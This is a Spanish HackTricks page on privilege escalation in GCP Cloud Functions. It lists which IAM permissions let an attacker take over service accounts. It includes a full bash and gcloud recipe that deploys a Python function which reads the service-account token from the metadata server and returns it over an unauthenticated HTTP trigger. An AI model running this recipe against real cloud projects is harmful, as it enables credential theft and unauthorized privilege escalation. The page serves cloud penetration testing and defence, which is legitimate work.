GCP - Cloudfunctions Privesc

Support HackTricks

cloudfunctions

Más información sobre Cloud Functions:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Un atacante con estos privilegios puede crear una nueva Cloud Function con código arbitrario (malicioso) y asignarle una Service Account. Luego, filtrar el token de la Service Account desde los metadatos para escalar privilegios a ella. Algunos privilegios para activar la función pueden ser requeridos.

Los scripts de explotación para este método se pueden encontrar aquí y aquí y el archivo .zip preconstruido se puede encontrar aquí.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Un atacante con estos privilegios puede modificar el código de una Function e incluso modificar la cuenta de servicio adjunta con el objetivo de exfiltrar el token.

Para desplegar funciones en la nube también necesitarás permisos actAs sobre la cuenta de servicio de cómputo predeterminada o sobre la cuenta de servicio que se utiliza para construir la imagen.

Algunos privilegios adicionales como el permiso .call para la versión 1 de cloudfunctions o el rol role/run.invoker para activar la función pueden ser requeridos.

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Si obtienes el error Permission 'run.services.setIamPolicy' denied on resource... es porque estás usando el parámetro --allow-unauthenticated y no tienes suficientes permisos para ello.

El script de explotación para este método se puede encontrar aquí.

cloudfunctions.functions.sourceCodeSet

Con este permiso puedes obtener una URL firmada para poder subir un archivo a un bucket de función (pero el código de la función no se cambiará, aún necesitas actualizarlo)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

No estoy realmente seguro de cuán útil es solo este permiso desde la perspectiva de un atacante, pero es bueno saberlo.

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

Dáte cualquiera de los privilegios anteriores .update o .create para escalar.

cloudfunctions.functions.update

Solo tener permisos de cloudfunctions, sin iam.serviceAccounts.actAs, no podrás actualizar la función ASÍ QUE ESTO NO ES UNA ESCALADA DE PRIVILEGIOS VÁLIDA.

Permisos de Escritura en el Bucket

Podrías pensar que un atacante con permisos de escritura sobre el bucket donde se almacena el código de Cloud Functions podrá modificar el código sobrescribiendo el function_code.zip y luego hacer que la función ejecute código arbitrario.

Sin embargo, esto no es cierto, simplemente sobrescribir el código dentro del bucket no modificará el código que se está ejecutando.

Referencias

Apoya a HackTricks

Last updated